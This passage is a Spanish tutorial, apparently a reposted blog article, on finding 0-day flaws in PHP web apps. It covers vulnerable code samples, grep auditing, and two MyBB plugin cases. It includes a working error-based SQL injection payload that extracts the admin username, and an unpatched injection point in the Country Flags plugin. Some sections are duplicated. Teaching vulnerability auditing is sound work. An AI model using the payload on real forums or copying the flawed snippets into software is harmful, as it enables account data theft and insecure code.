Detección de 0-days en aplicaciones Webs
1.- CREACIÓN DE UN ENTORNO DE AUDITORIA:
¿Por qué utilizar un entorno de Auditoria?
Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.
Esto no es preferible, ya que hay una posibilidad muy alta de que falten
cosas y seguramente tomará mucho más tiempo que mediante el uso de un
entorno de Auditoria.
Web Server:
Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.
Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.
¿Que es lo que vamos a Auditar?
Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.
Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.
Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:
MyBB
Descarga: http://www.mybb.com/downloads
Guía de Instalación: http://docs.mybb.com/Installing.html
WordPress
Descarga: http://wordpress.org/download/
Guía de Instalación: http://codex.wordpress.org/Installing_WordPress
Joomla
Descarga: http://www.joomla.org/download.html
Guía de Instalación: http://www.joomla.org/about-joomla/getting-started.html
SMF:
Descarga: http://download.simplemachines.org/
Guía de Instalación: http://wiki.simplemachines.org/smf/Installing
2.- LO QUE DEBEMOS BUSCAR:
User input:
La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.
---------------------------------------------------------------------------------------------
$_GET
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.
$_POST
Un array asociativo de variables pasadas al script actual mediante el método HTTP POST
$_REQUEST
Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.
$_COOKIE
Un array asociativo de variables pasadas al script actual a través de cookies HTTP.
$_SERVER
$ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.
$_FILES
Una matriz asociativa de artículos subidos al script actual a través del
método HTTP POST.
---------------------------------------------------------------------------------------------
Posibles Funciones Vulnerables:
Sql Injection:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------
- mysql_*
- $db (Para MyBB, mira aquí para más información: http://docs.mybb.com/Plugins-Globals.html y http://docs.mybb.com/Database_Methods.html
- $wpdb (Para WordPress, mira aquí para más información: http://codex.wordpress.org/Class_Reference/wpdb
Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.
He aquí algunas funciones comunes que posiblemente sean vulnerables:
- mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.
- mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
- mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.
- mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.
- mysql_num_rows - Devuelve el número de filas en el resultado.
- mysql_result - Obtener datos de resultado.
File Inclusion:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------
<?php
<?php
$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
---------------------------------------------------------------------------------------------
- include()
- require()
Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).
Upload:
<?php
$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
} else {
echo "There was an error uploading the file, please try again!";
}
?>
---------------------------------------------------------------------------------------------
- $_FILES
Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.
Code Execution:
---------------------------------------------------------------------------------------------
<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
---------------------------------------------------------------------------------------------
3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:
Editores de Texto:
Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.
Grep:
Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.
Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:
---------------------------------------------------------------------------------------------
<?php
$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>
---------------------------------------------------------------------------------------------
Podríamos usar una línea de comandos:
---------------------------------------------------------------------------------------------
$ grep _GET app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
$id = $_GET['id'];
---------------------------------------------------------------------------------------------
<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
---------------------------------------------------------------------------------------------
- passthru()
- system()
- eval()
- exec()
3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:
Editores de Texto:
Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.
Grep:
Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.
Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:
---------------------------------------------------------------------------------------------
<?php
$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>
---------------------------------------------------------------------------------------------
Podríamos usar una línea de comandos:
---------------------------------------------------------------------------------------------
$ grep _GET app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
$id = $_GET['id'];
---------------------------------------------------------------------------------------------
Encontrar funciones mysql_*:
---------------------------------------------------------------------------------------------
grep include app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
include("headers/$header");
include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos
buscar la función include en todas ellas, entonces podríamos hacer algo
como esto:
---------------------------------------------------------------------------------------------
grep include *.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php: include("headers/$header");
app2.php: include("headers/standard.php");
app3.php: include("headers/$header");
app3.php: include("headers/standard.php");
app.php: include("headers/$header");
app.php: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
---------------------------------------------------------------------------------------------
grep include *.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php:5: include("headers/$header");
app2.php:9: include("headers/standard.php");
app3.php:5: include("headers/$header");
app3.php:9: include("headers/standard.php");
app.php:5: include("headers/$header");
app.php:9: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:
---------------------------------------------------------------------------------------------
grep 'SELECT\|FROM' app.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------
Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
---------------------------------------------------------------------------------------------
grep 'sEleCt\|FroM' app.php -n -i
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------
Algunas otras herramientas para auditar archivos php: http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/
4.- AUDITORIA EN EL MUNDO REAL:
Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:
MyBB DyMy User Agent SQL Injection:
Vamos a descargar la aplicación vulnerable y colocarlo en nuestra
carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor
de texto:
Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
---------------------------------------------------------------------------------------------
¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
---------------------------------------------------------------------------------------------
function dymy_ua_install()
{
global $db;
$db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
}
---------------------------------------------------------------------------------------------
Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un
vistazo a los siguientes documentos para obtener una mejor comprensión
de lo que está mal aquí:
Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.
Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las
interacciones de bases de datos. Volvamos a la terminal y probar algunas
cosas nuevas.
---------------------------------------------------------------------------------------------
grep "\$db" dymy_ua.php -i -n
---------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------
56: global $db;
58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
63: global $db;
65: if($db->field_exists("useragent", "posts"))
75: global $db;
77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
83: global $db;
85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86: $c = $db->fetch_field($q, "count");
87: $db->free_result($q);
95: $db->insert_query("templategroups", $ins);
101: "template" => $db->escape_string(' <img src="images/useragent/os/{$os}.png" alt="{$os}" title="{$os_name}">'),
106: $db->insert_query("templates", $ins);
111: "template" => $db->escape_string('
<img src="images/useragent/browser/{$browser}.png" alt="{$browser}"
title="{$browser_name}">'),
116: $db->insert_query("templates", $ins);
125: global $db;
127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");
------------------------------------------------------------------------------------------------------------------
Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_deactivate()
{
global $db;
$db->delete_query("templates", "title
IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND
sid='-2'"); // Line 27
require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}</td>')."#",'</td>',0);
}
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}
function dymy_ua_postbit(&$post)
{
global $templates;
if(isset($post['browser']) &&
isset($post['system']) && !empty($post['browser']) &&
!empty($post['system']) && empty($post['useragent']))
{
$os = str_ireplace("icon_", "", $post['system']);
$browser = str_ireplace("icon_", "", $post['browser']);
$browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
}
...
------------------------------------------------------------------------------------------------------------------
En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}
------------------------------------------------------------------------------------------------------------------
Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de
desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y
tratar de analizar estos datos.
Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.
Vamos a ver este lado de nuestro mensaje:
Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:
Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.
Después de algunas pruebas vamos a salir con esta consulta:
------------------------------------------------------------------------------------------------------------------
' and(select 1 from(select
count(*),concat((select username from mybb_users where
uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B));
#
------------------------------------------------------------------------------------------------------------------
5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection:
La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:
Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:
Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:
Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP
Live copie la direccion URL
(localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y
pega esto en una nueva pestaña.
Ahora ponga un ' después el país:
Salida:
------------------------------------------------------------------------------------------------------------------
MyBB has experienced an internal SQL error and cannot continue.
SQL Error:
1064 - You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near ''Belgium''' at line 1
Query:
SELECT * FROM mybb_users u LEFT JOIN
mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON
(u.uid=f.ufid) WHERE fid5='Belgium''
------------------------------------------------------------------------------------------------------------------
Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:
Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.
Tutorial PHP:
Tutorial MySQL:
Vulnerabilidades:
CRÉDITOS:
Autor: Join7
Website: http://zentrixplus.net/
Detección de 0-days en aplicaciones Webs
Reviewed by Zion3R
on
17:18
Rating: